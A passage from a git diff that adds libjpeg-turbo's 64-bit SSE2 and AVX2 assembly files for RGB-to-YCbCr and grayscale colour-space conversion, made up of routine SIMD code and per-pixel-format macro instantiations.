xmmB = (A1 A3 A5 A7 A9 Ab Ad Af) = AO + + movdqa xmmF, xmmD + punpcklbw xmmD, xmmH ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + punpckhbw xmmF, xmmH ; xmmF = (C1 C3 C5 C7 C9 Cb Cd Cf) = CO + +%else ; RGB_PIXELSIZE == 4 ; ----------- + +.column_ld1: + test cl, SIZEOF_XMMWORD / 16 + jz short .column_ld2 + sub rcx, byte SIZEOF_XMMWORD / 16 + movd xmmA, XMM_DWORD [rsi + rcx * RGB_PIXELSIZE] +.column_ld2: + test cl, SIZEOF_XMMWORD / 8 + jz short .column_ld4 + sub rcx, byte SIZEOF_XMMWORD / 8 + movq xmmE, XMM_MMWORD [rsi + rcx * RGB_PIXELSIZE] + pslldq xmmA, SIZEOF_MMWORD + por xmmA, xmmE +.column_ld4: + test cl, SIZEOF_XMMWORD / 4 + jz short .column_ld8 + sub rcx, byte SIZEOF_XMMWORD / 4 + movdqa xmmE, xmmA + movdqu xmmA, XMMWORD [rsi + rcx * RGB_PIXELSIZE] +.column_ld8: + test cl, SIZEOF_XMMWORD / 2 + mov rcx, SIZEOF_XMMWORD + jz short .rgb_ycc_cnv + movdqa xmmF, xmmA + movdqa xmmH, xmmE + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmE, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + jmp short .rgb_ycc_cnv + +.columnloop: + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmE, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + movdqu xmmF, XMMWORD [rsi + 2 * SIZEOF_XMMWORD] + movdqu xmmH, XMMWORD [rsi + 3 * SIZEOF_XMMWORD] + +.rgb_ycc_cnv: + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, C, and D to red, green, and blue. + ; + ; xmmA = (A0 B0 C0 D0 A1 B1 C1 D1 A2 B2 C2 D2 A3 B3 C3 D3) + ; xmmE = (A4 B4 C4 D4 A5 B5 C5 D5 A6 B6 C6 D6 A7 B7 C7 D7) + ; xmmF = (A8 B8 C8 D8 A9 B9 C9 D9 Aa Ba Ca Da Ab Bb Cb Db) + ; xmmH = (Ac Bc Cc Dc Ad Bd Cd Dd Ae Be Ce De Af Bf Cf Df) + + movdqa xmmD, xmmA + punpcklbw xmmA, xmmE + ; xmmA = (A0 A4 B0 B4 C0 C4 D0 D4 A1 A5 B1 B5 C1 C5 D1 D5) + punpckhbw xmmD, xmmE + ; xmmD = (A2 A6 B2 B6 C2 C6 D2 D6 A3 A7 B3 B7 C3 C7 D3 D7) + + movdqa xmmC, xmmF + punpcklbw xmmF, xmmH + ; xmmF = (A8 Ac B8 Bc C8 Cc D8 Dc A9 Ad B9 Bd C9 Cd D9 Dd) + punpckhbw xmmC, xmmH + ; xmmC = (Aa Ae Ba Be Ca Ce Da De Ab Af Bb Bf Cb Cf Db Df) + + movdqa xmmB, xmmA + punpcklwd xmmA, xmmF + ; xmmA = (A0 A4 A8 Ac B0 B4 B8 Bc C0 C4 C8 Cc D0 D4 D8 Dc) + punpckhwd xmmB, xmmF + ; xmmB = (A1 A5 A9 Ad B1 B5 B9 Bd C1 C5 C9 Cd D1 D5 D9 Dd) + + movdqa xmmG, xmmD + punpcklwd xmmD, xmmC + ; xmmD = (A2 A6 Aa Ae B2 B6 Ba Be C2 C6 Ca Ce D2 D6 Da De) + punpckhwd xmmG, xmmC + ; xmmG = (A3 A7 Ab Af B3 B7 Bb Bf C3 C7 Cb Cf D3 D7 Db Df) + + movdqa xmmE, xmmA + punpcklbw xmmA, xmmD + ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae B0 B2 B4 B6 B8 Ba Bc Be) + punpckhbw xmmE, xmmD + ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce D0 D2 D4 D6 D8 Da Dc De) + + movdqa xmmH, xmmB + punpcklbw xmmB, xmmG + ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af B1 B3 B5 B7 B9 Bb Bd Bf) + punpckhbw xmmH, xmmG + ; xmmH = (C1 C3 C5 C7 C9 Cb Cd Cf D1 D3 D5 D7 D9 Db Dd Df) + + pxor xmmF, xmmF + + movdqa xmmC, xmmA + punpcklbw xmmA, xmmF ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae) = AE + punpckhbw xmmC, xmmF ; xmmC = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + + movdqa xmmD, xmmB + punpcklbw xmmB, xmmF ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af) = AO + punpckhbw xmmD, xmmF ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + + movdqa xmmG, xmmE + punpcklbw xmmE, xmmF ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce) = CE + punpckhbw xmmG, xmmF ; xmmG = (D0 D2 D4 D6 D8 Da Dc De) = DE + + punpcklbw xmmF, xmmH + punpckhbw xmmH, xmmH + psrlw xmmF, BYTE_BIT ; xmmF = (C1 C3 C5 C7 C9 Cb Cd Cf) = CO + psrlw xmmH, BYTE_BIT ; xmmH = (D1 D3 D5 D7 D9 Db Dd Df) = DO + +%endif ; RGB_PIXELSIZE ; --------------- + + ; xmm0 = (R0 R2 R4 R6 R8 Ra Rc Re) = RE + ; xmm2 = (G0 G2 G4 G6 G8 Ga Gc Ge) = GE + ; xmm4 = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + ; xmm1 = (R1 R3 R5 R7 R9 Rb Rd Rf) = RO + ; xmm3 = (G1 G3 G5 G7 G9 Gb Gd Gf) = GO + ; xmm5 = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + ; + ; (Original) + ; Y = 0.29900 * R + 0.58700 * G + 0.11400 * B + ; Cb = -0.16874 * R - 0.33126 * G + 0.50000 * B + CENTERJSAMPLE + ; Cr = 0.50000 * R - 0.41869 * G - 0.08131 * B + CENTERJSAMPLE + ; + ; (This implementation) + ; Y = 0.29900 * R + 0.33700 * G + 0.11400 * B + 0.25000 * G + ; Cb = -0.16874 * R - 0.33126 * G + 0.50000 * B + CENTERJSAMPLE + ; Cr = 0.50000 * R - 0.41869 * G - 0.08131 * B + CENTERJSAMPLE + + movdqa XMMWORD [wk(0)], xmm0 ; wk(0) = RE + movdqa XMMWORD [wk(1)], xmm1 ; wk(1) = RO + movdqa XMMWORD [wk(2)], xmm4 ; wk(2) = BE + movdqa XMMWORD [wk(3)], xmm5 ; wk(3) = BO + + movdqa xmm6, xmm1 + punpcklwd xmm1, xmm3 + punpckhwd xmm6, xmm3 + movdqa xmm7, xmm1 + movdqa xmm4, xmm6 + pmaddwd xmm1, [rel PW_F0299_F0337] + ; xmm1 = ROL * FIX(0.299) + GOL * FIX(0.337) + pmaddwd xmm6, [rel PW_F0299_F0337] + ; xmm6 = ROH * FIX(0.299) + GOH * FIX(0.337) + pmaddwd xmm7, [rel PW_MF016_MF033] + ; xmm7 = ROL * -FIX(0.168) + GOL * -FIX(0.331) + pmaddwd xmm4, [rel PW_MF016_MF033] + ; xmm4 = ROH * -FIX(0.168) + GOH * -FIX(0.331) + + movdqa XMMWORD [wk(4)], xmm1 + ; wk(4) = ROL * FIX(0.299) + GOL * FIX(0.337) + movdqa XMMWORD [wk(5)], xmm6 + ; wk(5) = ROH * FIX(0.299) + GOH * FIX(0.337) + + pxor xmm1, xmm1 + pxor xmm6, xmm6 + punpcklwd xmm1, xmm5 ; xmm1 = BOL + punpckhwd xmm6, xmm5 ; xmm6 = BOH + psrld xmm1, 1 ; xmm1 = BOL * FIX(0.500) + psrld xmm6, 1 ; xmm6 = BOH * FIX(0.500) + + movdqa xmm5, [rel PD_ONEHALFM1_CJ] ; xmm5 = [PD_ONEHALFM1_CJ] + + paddd xmm7, xmm1 + paddd xmm4, xmm6 + paddd xmm7, xmm5 + paddd xmm4, xmm5 + psrld xmm7, SCALEBITS ; xmm7 = CbOL + psrld xmm4, SCALEBITS ; xmm4 = CbOH + packssdw xmm7, xmm4 ; xmm7 = CbO + + movdqa xmm1, XMMWORD [wk(2)] ; xmm1 = BE + + movdqa xmm6, xmm0 + punpcklwd xmm0, xmm2 + punpckhwd xmm6, xmm2 + movdqa xmm5, xmm0 + movdqa xmm4, xmm6 + pmaddwd xmm0, [rel PW_F0299_F0337] + ; xmm0 = REL * FIX(0.299) + GEL * FIX(0.337) + pmaddwd xmm6, [rel PW_F0299_F0337] + ; xmm6 = REH * FIX(0.299) + GEH * FIX(0.337) + pmaddwd xmm5, [rel PW_MF016_MF033] + ; xmm5 = REL * -FIX(0.168) + GEL * -FIX(0.331) + pmaddwd xmm4, [rel PW_MF016_MF033] + ; xmm4 = REH * -FIX(0.168) + GEH * -FIX(0.331) + + movdqa XMMWORD [wk(6)], xmm0 + ; wk(6) = REL * FIX(0.299) + GEL * FIX(0.337) + movdqa XMMWORD [wk(7)], xmm6 + ; wk(7) = REH * FIX(0.299) + GEH * FIX(0.337) + + pxor xmm0, xmm0 + pxor xmm6, xmm6 + punpcklwd xmm0, xmm1 ; xmm0 = BEL + punpckhwd xmm6, xmm1 ; xmm6 = BEH + psrld xmm0, 1 ; xmm0 = BEL * FIX(0.500) + psrld xmm6, 1 ; xmm6 = BEH * FIX(0.500) + + movdqa xmm1, [rel PD_ONEHALFM1_CJ] ; xmm1 = [PD_ONEHALFM1_CJ] + + paddd xmm5, xmm0 + paddd xmm4, xmm6 + paddd xmm5, xmm1 + paddd xmm4, xmm1 + psrld xmm5, SCALEBITS ; xmm5 = CbEL + psrld xmm4, SCALEBITS ; xmm4 = CbEH + packssdw xmm5, xmm4 ; xmm5 = CbE + + psllw xmm7, BYTE_BIT + por xmm5, xmm7 ; xmm5 = Cb + movdqa XMMWORD [rbx], xmm5 ; Save Cb + + movdqa xmm0, XMMWORD [wk(3)] ; xmm0 = BO + movdqa xmm6, XMMWORD [wk(2)] ; xmm6 = BE + movdqa xmm1, XMMWORD [wk(1)] ; xmm1 = RO + + movdqa xmm4, xmm0 + punpcklwd xmm0, xmm3 + punpckhwd xmm4, xmm3 + movdqa xmm7, xmm0 + movdqa xmm5, xmm4 + pmaddwd xmm0, [rel PW_F0114_F0250] + ; xmm0 = BOL * FIX(0.114) + GOL * FIX(0.250) + pmaddwd xmm4, [rel PW_F0114_F0250] + ; xmm4 = BOH * FIX(0.114) + GOH * FIX(0.250) + pmaddwd xmm7, [rel PW_MF008_MF041] + ; xmm7 = BOL * -FIX(0.081) + GOL * -FIX(0.418) + pmaddwd xmm5, [rel PW_MF008_MF041] + ; xmm5 = BOH * -FIX(0.081) + GOH * -FIX(0.418) + + movdqa xmm3, [rel PD_ONEHALF] ; xmm3 = [PD_ONEHALF] + + paddd xmm0, XMMWORD [wk(4)] + paddd xmm4, XMMWORD [wk(5)] + paddd xmm0, xmm3 + paddd xmm4, xmm3 + psrld xmm0, SCALEBITS ; xmm0 = YOL + psrld xmm4, SCALEBITS ; xmm4 = YOH + packssdw xmm0, xmm4 ; xmm0 = YO + + pxor xmm3, xmm3 + pxor xmm4, xmm4 + punpcklwd xmm3, xmm1 ; xmm3 = ROL + punpckhwd xmm4, xmm1 ; xmm4 = ROH + psrld xmm3, 1 ; xmm3 = ROL * FIX(0.500) + psrld xmm4, 1 ; xmm4 = ROH * FIX(0.500) + + movdqa xmm1, [rel PD_ONEHALFM1_CJ] ; xmm1 = [PD_ONEHALFM1_CJ] + + paddd xmm7, xmm3 + paddd xmm5, xmm4 + paddd xmm7, xmm1 + paddd xmm5, xmm1 + psrld xmm7, SCALEBITS ; xmm7 = CrOL + psrld xmm5, SCALEBITS ; xmm5 = CrOH + packssdw xmm7, xmm5 ; xmm7 = CrO + + movdqa xmm3, XMMWORD [wk(0)] ; xmm3 = RE + + movdqa xmm4, xmm6 + punpcklwd xmm6, xmm2 + punpckhwd xmm4, xmm2 + movdqa xmm1, xmm6 + movdqa xmm5, xmm4 + pmaddwd xmm6, [rel PW_F0114_F0250] + ; xmm6 = BEL * FIX(0.114) + GEL * FIX(0.250) + pmaddwd xmm4, [rel PW_F0114_F0250] + ; xmm4 = BEH * FIX(0.114) + GEH * FIX(0.250) + pmaddwd xmm1, [rel PW_MF008_MF041] + ; xmm1 = BEL * -FIX(0.081) + GEL * -FIX(0.418) + pmaddwd xmm5, [rel PW_MF008_MF041] + ; xmm5 = BEH * -FIX(0.081) + GEH * -FIX(0.418) + + movdqa xmm2, [rel PD_ONEHALF] ; xmm2 = [PD_ONEHALF] + + paddd xmm6, XMMWORD [wk(6)] + paddd xmm4, XMMWORD [wk(7)] + paddd xmm6, xmm2 + paddd xmm4, xmm2 + psrld xmm6, SCALEBITS ; xmm6 = YEL + psrld xmm4, SCALEBITS ; xmm4 = YEH + packssdw xmm6, xmm4 ; xmm6 = YE + + psllw xmm0, BYTE_BIT + por xmm6, xmm0 ; xmm6 = Y + movdqa XMMWORD [rdi], xmm6 ; Save Y + + pxor xmm2, xmm2 + pxor xmm4, xmm4 + punpcklwd xmm2, xmm3 ; xmm2 = REL + punpckhwd xmm4, xmm3 ; xmm4 = REH + psrld xmm2, 1 ; xmm2 = REL * FIX(0.500) + psrld xmm4, 1 ; xmm4 = REH * FIX(0.500) + + movdqa xmm0, [rel PD_ONEHALFM1_CJ] ; xmm0 = [PD_ONEHALFM1_CJ] + + paddd xmm1, xmm2 + paddd xmm5, xmm4 + paddd xmm1, xmm0 + paddd xmm5, xmm0 + psrld xmm1, SCALEBITS ; xmm1 = CrEL + psrld xmm5, SCALEBITS ; xmm5 = CrEH + packssdw xmm1, xmm5 ; xmm1 = CrE + + psllw xmm7, BYTE_BIT + por xmm1, xmm7 ; xmm1 = Cr + movdqa XMMWORD [rdx], xmm1 ; Save Cr + + sub rcx, byte SIZEOF_XMMWORD + add rsi, byte RGB_PIXELSIZE * SIZEOF_XMMWORD ; inptr + add rdi, byte SIZEOF_XMMWORD ; outptr0 + add rbx, byte SIZEOF_XMMWORD ; outptr1 + add rdx, byte SIZEOF_XMMWORD ; outptr2 + cmp rcx, byte SIZEOF_XMMWORD + jae near .columnloop + test rcx, rcx + jnz near .column_ld1 + + pop rcx ; col + pop rsi + pop rdi + pop rbx + pop rdx + + add rsi, byte SIZEOF_JSAMPROW ; input_buf + add rdi, byte SIZEOF_JSAMPROW + add rbx, byte SIZEOF_JSAMPROW + add rdx, byte SIZEOF_JSAMPROW + dec rax ; num_rows + jg near .rowloop + +.return: + pop rbx + UNCOLLECT_ARGS 5 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jccolor-avx2.asm b/lib/libjpeg-turbo/simd/x86_64/jccolor-avx2.asm new file mode 100755 index 0000000..d31a91d --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jccolor-avx2.asm @@ -0,0 +1,117 @@ +; +; Colorspace conversion (64-bit AVX2) +; +; Copyright (C) 2009, 2016, 2024, D. R. Commander. +; Copyright (C) 2015, Intel Corporation. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + +%define SCALEBITS 16 + +F_0_081 equ 5329 ; FIX(0.08131) +F_0_114 equ 7471 ; FIX(0.11400) +F_0_168 equ 11059 ; FIX(0.16874) +F_0_250 equ 16384 ; FIX(0.25000) +F_0_299 equ 19595 ; FIX(0.29900) +F_0_331 equ 21709 ; FIX(0.33126) +F_0_418 equ 27439 ; FIX(0.41869) +F_0_587 equ 38470 ; FIX(0.58700) +F_0_337 equ (F_0_587 - F_0_250) ; FIX(0.58700) - FIX(0.25000) + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_rgb_ycc_convert_avx2) + +EXTN(jconst_rgb_ycc_convert_avx2): + +PW_F0299_F0337 times 8 dw F_0_299, F_0_337 +PW_F0114_F0250 times 8 dw F_0_114, F_0_250 +PW_MF016_MF033 times 8 dw -F_0_168, -F_0_331 +PW_MF008_MF041 times 8 dw -F_0_081, -F_0_418 +PD_ONEHALFM1_CJ times 8 dd (1 << (SCALEBITS - 1)) - 1 + \ + (CENTERJSAMPLE << SCALEBITS) +PD_ONEHALF times 8 dd (1 << (SCALEBITS - 1)) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +%include "jccolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGB_RED +%define RGB_GREEN EXT_RGB_GREEN +%define RGB_BLUE EXT_RGB_BLUE +%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE +%define jsimd_rgb_ycc_convert_avx2 jsimd_extrgb_ycc_convert_avx2 +%include "jccolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGBX_RED +%define RGB_GREEN EXT_RGBX_GREEN +%define RGB_BLUE EXT_RGBX_BLUE +%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE +%define jsimd_rgb_ycc_convert_avx2 jsimd_extrgbx_ycc_convert_avx2 +%include "jccolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGR_RED +%define RGB_GREEN EXT_BGR_GREEN +%define RGB_BLUE EXT_BGR_BLUE +%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE +%define jsimd_rgb_ycc_convert_avx2 jsimd_extbgr_ycc_convert_avx2 +%include "jccolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGRX_RED +%define RGB_GREEN EXT_BGRX_GREEN +%define RGB_BLUE EXT_BGRX_BLUE +%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE +%define jsimd_rgb_ycc_convert_avx2 jsimd_extbgrx_ycc_convert_avx2 +%include "jccolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XBGR_RED +%define RGB_GREEN EXT_XBGR_GREEN +%define RGB_BLUE EXT_XBGR_BLUE +%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE +%define jsimd_rgb_ycc_convert_avx2 jsimd_extxbgr_ycc_convert_avx2 +%include "jccolext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XRGB_RED +%define RGB_GREEN EXT_XRGB_GREEN +%define RGB_BLUE EXT_XRGB_BLUE +%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE +%define jsimd_rgb_ycc_convert_avx2 jsimd_extxrgb_ycc_convert_avx2 +%include "jccolext-avx2.asm" diff --git a/lib/libjpeg-turbo/simd/x86_64/jccolor-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jccolor-sse2.asm new file mode 100755 index 0000000..7035059 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jccolor-sse2.asm @@ -0,0 +1,116 @@ +; +; Colorspace conversion (64-bit SSE2) +; +; Copyright (C) 2009, 2016, 2024, D. R. Commander. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + +%define SCALEBITS 16 + +F_0_081 equ 5329 ; FIX(0.08131) +F_0_114 equ 7471 ; FIX(0.11400) +F_0_168 equ 11059 ; FIX(0.16874) +F_0_250 equ 16384 ; FIX(0.25000) +F_0_299 equ 19595 ; FIX(0.29900) +F_0_331 equ 21709 ; FIX(0.33126) +F_0_418 equ 27439 ; FIX(0.41869) +F_0_587 equ 38470 ; FIX(0.58700) +F_0_337 equ (F_0_587 - F_0_250) ; FIX(0.58700) - FIX(0.25000) + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_rgb_ycc_convert_sse2) + +EXTN(jconst_rgb_ycc_convert_sse2): + +PW_F0299_F0337 times 4 dw F_0_299, F_0_337 +PW_F0114_F0250 times 4 dw F_0_114, F_0_250 +PW_MF016_MF033 times 4 dw -F_0_168, -F_0_331 +PW_MF008_MF041 times 4 dw -F_0_081, -F_0_418 +PD_ONEHALFM1_CJ times 4 dd (1 << (SCALEBITS - 1)) - 1 + \ + (CENTERJSAMPLE << SCALEBITS) +PD_ONEHALF times 4 dd (1 << (SCALEBITS - 1)) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +%include "jccolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGB_RED +%define RGB_GREEN EXT_RGB_GREEN +%define RGB_BLUE EXT_RGB_BLUE +%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE +%define jsimd_rgb_ycc_convert_sse2 jsimd_extrgb_ycc_convert_sse2 +%include "jccolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGBX_RED +%define RGB_GREEN EXT_RGBX_GREEN +%define RGB_BLUE EXT_RGBX_BLUE +%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE +%define jsimd_rgb_ycc_convert_sse2 jsimd_extrgbx_ycc_convert_sse2 +%include "jccolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGR_RED +%define RGB_GREEN EXT_BGR_GREEN +%define RGB_BLUE EXT_BGR_BLUE +%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE +%define jsimd_rgb_ycc_convert_sse2 jsimd_extbgr_ycc_convert_sse2 +%include "jccolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGRX_RED +%define RGB_GREEN EXT_BGRX_GREEN +%define RGB_BLUE EXT_BGRX_BLUE +%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE +%define jsimd_rgb_ycc_convert_sse2 jsimd_extbgrx_ycc_convert_sse2 +%include "jccolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XBGR_RED +%define RGB_GREEN EXT_XBGR_GREEN +%define RGB_BLUE EXT_XBGR_BLUE +%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE +%define jsimd_rgb_ycc_convert_sse2 jsimd_extxbgr_ycc_convert_sse2 +%include "jccolext-sse2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XRGB_RED +%define RGB_GREEN EXT_XRGB_GREEN +%define RGB_BLUE EXT_XRGB_BLUE +%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE +%define jsimd_rgb_ycc_convert_sse2 jsimd_extxrgb_ycc_convert_sse2 +%include "jccolext-sse2.asm" diff --git a/lib/libjpeg-turbo/simd/x86_64/jcgray-avx2.asm b/lib/libjpeg-turbo/simd/x86_64/jcgray-avx2.asm new file mode 100755 index 0000000..7398c81 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jcgray-avx2.asm @@ -0,0 +1,109 @@ +; +; Grayscale colorspace conversion (64-bit AVX2) +; +; Copyright (C) 2011, 2016, 2024, D. R. Commander. +; Copyright (C) 2015, Intel Corporation. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + +%define SCALEBITS 16 + +F_0_114 equ 7471 ; FIX(0.11400) +F_0_250 equ 16384 ; FIX(0.25000) +F_0_299 equ 19595 ; FIX(0.29900) +F_0_587 equ 38470 ; FIX(0.58700) +F_0_337 equ (F_0_587 - F_0_250) ; FIX(0.58700) - FIX(0.25000) + +; -------------------------------------------------------------------------- + SECTION SEG_CONST + + ALIGNZ 32 + GLOBAL_DATA(jconst_rgb_gray_convert_avx2) + +EXTN(jconst_rgb_gray_convert_avx2): + +PW_F0299_F0337 times 8 dw F_0_299, F_0_337 +PW_F0114_F0250 times 8 dw F_0_114, F_0_250 +PD_ONEHALF times 8 dd (1 << (SCALEBITS - 1)) + + ALIGNZ 32 + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +%include "jcgryext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGB_RED +%define RGB_GREEN EXT_RGB_GREEN +%define RGB_BLUE EXT_RGB_BLUE +%define RGB_PIXELSIZE EXT_RGB_PIXELSIZE +%define jsimd_rgb_gray_convert_avx2 jsimd_extrgb_gray_convert_avx2 +%include "jcgryext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_RGBX_RED +%define RGB_GREEN EXT_RGBX_GREEN +%define RGB_BLUE EXT_RGBX_BLUE +%define RGB_PIXELSIZE EXT_RGBX_PIXELSIZE +%define jsimd_rgb_gray_convert_avx2 jsimd_extrgbx_gray_convert_avx2 +%include "jcgryext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGR_RED +%define RGB_GREEN EXT_BGR_GREEN +%define RGB_BLUE EXT_BGR_BLUE +%define RGB_PIXELSIZE EXT_BGR_PIXELSIZE +%define jsimd_rgb_gray_convert_avx2 jsimd_extbgr_gray_convert_avx2 +%include "jcgryext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_BGRX_RED +%define RGB_GREEN EXT_BGRX_GREEN +%define RGB_BLUE EXT_BGRX_BLUE +%define RGB_PIXELSIZE EXT_BGRX_PIXELSIZE +%define jsimd_rgb_gray_convert_avx2 jsimd_extbgrx_gray_convert_avx2 +%include "jcgryext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XBGR_RED +%define RGB_GREEN EXT_XBGR_GREEN +%define RGB_BLUE EXT_XBGR_BLUE +%define RGB_PIXELSIZE EXT_XBGR_PIXELSIZE +%define jsimd_rgb_gray_convert_avx2 jsimd_extxbgr_gray_convert_avx2 +%include "jcgryext-avx2.asm" + +%undef RGB_RED +%undef RGB_GREEN +%undef RGB_BLUE +%undef RGB_PIXELSIZE +%define RGB_RED EXT_XRGB_RED +%define RGB_GREEN EXT_XRGB_GREEN +%define RGB_BLUE EXT_XRGB_BLUE +%define RGB_PIXELSIZE EXT_XRGB_PIXELSIZE +%define jsimd_rgb_gray_convert_avx2 jsimd_extxrgb_gray_convert_avx2 +%include "jcgryext-avx2.asm" diff --git a/lib/libjpeg-turbo/simd/x86_64/jcgryext-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jcgryext-sse2.asm new file mode 100755 index 0000000..a741f9b --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jcgryext-sse2.asm @@ -0,0 +1,411 @@ +; +; Grayscale colorspace conversion (64-bit SSE2) +; +; Copyright (C) 2011, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jcolsamp.inc" + +; -------------------------------------------------------------------------- +; +; Convert some rows of samples to the JPEG colorspace. +; +; GLOBAL(void) +; jsimd_rgb_gray_convert_sse2(JDIMENSION img_width, JSAMPARRAY input_buf, +; JSAMPIMAGE output_buf, JDIMENSION output_row, +; int num_rows) +; +; r10d = JDIMENSION img_width +; r11 = JSAMPARRAY input_buf +; r12 = JSAMPIMAGE output_buf +; r13d = JDIMENSION output_row +; r14d = int num_rows + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 2 + + align 32 + GLOBAL_FUNCTION(jsimd_rgb_gray_convert_sse2) + +EXTN(jsimd_rgb_gray_convert_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, byte (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 5 + push rbx + + mov ecx, r10d + test rcx, rcx + jz near .return + + push rcx + + mov rsi, r12 + mov ecx, r13d + mov rdip, JSAMPARRAY [rsi + 0 * SIZEOF_JSAMPARRAY] + lea rdi, [rdi + rcx * SIZEOF_JSAMPROW] + + pop 